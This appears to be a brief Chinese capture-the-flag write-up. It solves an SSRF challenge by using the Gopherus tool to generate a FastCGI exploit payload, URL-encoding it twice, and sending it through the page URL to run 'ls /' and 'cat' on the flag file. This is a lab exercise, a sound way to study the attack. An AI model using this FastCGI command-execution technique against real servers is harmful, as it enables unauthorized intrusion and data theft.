本题需要用到:
在线编码网址:https://icyberchef.com/
gopherus工具:https://mp.csdn.net/mp_blog/creation/editor/139440201
开启题目,页面空白
使用gopherus工具,进入到gopherus工具目录
./gopherus.py --exploit fastcgi
/var/www/html/index.php
ls /
得到了
放进url里并没有什么用,再对它进行一次url编码
放进url
看到了flag的文件名,直接读取它
跟之前的步骤一样,只不过这次的命令是cat
/var/www/html/index.php
cat /flag_fbed5a4460ae89f3b620fb43c404496b
得到了,再对它进行编码,得到了编码后的
放进url访问,得到了flag